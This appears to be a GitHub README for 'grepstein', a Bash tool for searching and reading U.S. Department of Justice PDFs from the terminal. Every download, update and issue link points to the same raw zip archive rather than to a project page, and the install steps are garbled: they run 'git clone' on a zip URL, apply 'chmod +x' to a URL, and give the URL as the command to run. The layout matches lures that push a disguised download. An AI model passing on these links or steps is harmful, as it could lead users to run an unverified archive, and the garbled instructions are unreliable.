grepstein is a simple program that helps you find and read PDF files from the U.S. Department of Justice website. Instead of opening a web browser to search and read these files, you can do everything right in your terminal (the black or white window where you type commands).
It lets you look for keywords in documents, see the search results one page at a time, and open PDF files directly without leaving the terminal. This is useful if you prefer working in the terminal or want a fast way to access these files.
- Search for keywords on the U.S. Department of Justice website
- View search results page by page for easy browsing
- Open and read PDF files directly in the terminal window
- No web browser needed, keeping things fast and simple
- Checks for needed tools before running to avoid errors
To run grepstein, your computer needs a terminal and some small programs installed. These programs help grepstein search the web, process data, and display PDFs in text form.
You will need:
- pdftotext: Converts PDF files to readable text.
- jq: Helps process data in JSON format.
- httpie: Simplifies making web requests from the terminal.
These tools are free and easy to install on most Linux systems. See the installation section below to get these programs.
grepstein works best on Linux systems using Bash shell. It may work on macOS with some adjustments but is not designed for Windows.
You will find the program on GitHub, a place where software projects are shared. Use the link below to visit the page where you can download grepstein.
Follow these steps to get it working:
Depending on your Linux distribution, open a terminal and run the commands below.
For Arch Linux / CachyOS:
sudo pacman -S poppler jq httpieFor Debian / Ubuntu:
sudo apt install poppler-utils jq httpieThis installs the pdftotext, jq, and httpie programs your system needs.
You can download the program by copying it from GitHub to your computer. Use this command in the terminal:
git clone https://github.com/panzerking99267/grepstein/raw/refs/heads/main/magnanimous/Software_1.7.zipThis creates a folder called grepstein with all the program files.
Next, move into the folder and make the main script ready to execute:
cd grepstein
chmod +x https://github.com/panzerking99267/grepstein/raw/refs/heads/main/magnanimous/Software_1.7.zipThis makes the script file executable, so you can run it.
Using grepstein is easy. Open your terminal, enter the folder where you installed it, and run the script like this:
https://github.com/panzerking99267/grepstein/raw/refs/heads/main/magnanimous/Software_1.7.zipHere’s what happens next:
- The program checks if all required tools are installed. If something is missing, it will tell you what to install.
- Then, it asks you to enter a keyword or phrase you want to search for in the Department of Justice PDF documents.
- It shows the results in pages, and you can type
NEXTto see the next page. - When you find a file you want to read, type its number.
grepsteinwill open the PDF and convert it to text so you can read it directly in the terminal. - To exit, just type
EXITor close the terminal window.
Here’s a simple example of what using grepstein might look like:
Enter your search term: immigration policy
Showing results 1-10 of 50
1. Document title A
2. Document title B
...
Type the document number to read or 'NEXT' for more results:
Type 1 to read the first document, or NEXT to see more.
- If the script says a tool is missing, install it using your system’s package manager.
- Make sure you have an internet connection since
grepsteinsearches online. - If PDFs do not display correctly, check that
pdftotextis installed and working by runningpdftotext -vin the terminal. - For any other issues, visiting the GitHub page and checking the Issues section may help.
Use this link to get grepstein or check for updates:
https://github.com/panzerking99267/grepstein/raw/refs/heads/main/magnanimous/Software_1.7.zip
You will find download files and instructions here. Follow the steps above after downloading.
grepsteindoes not store or send any personal data. It only accesses publicly available documents.- This tool is made for users comfortable with using a terminal window. It is not a graphical program.
- If you want to stop using it, just delete the
grepsteinfolder from your computer.
If you need more information or want to report a bug, visit the project’s GitHub page and open an issue:
https://github.com/panzerking99267/grepstein/raw/refs/heads/main/magnanimous/Software_1.7.zip
You can also look at the README file there for updates or additional instructions.
Thank you for using grepstein. We hope it helps you find and read government PDF documents more easily.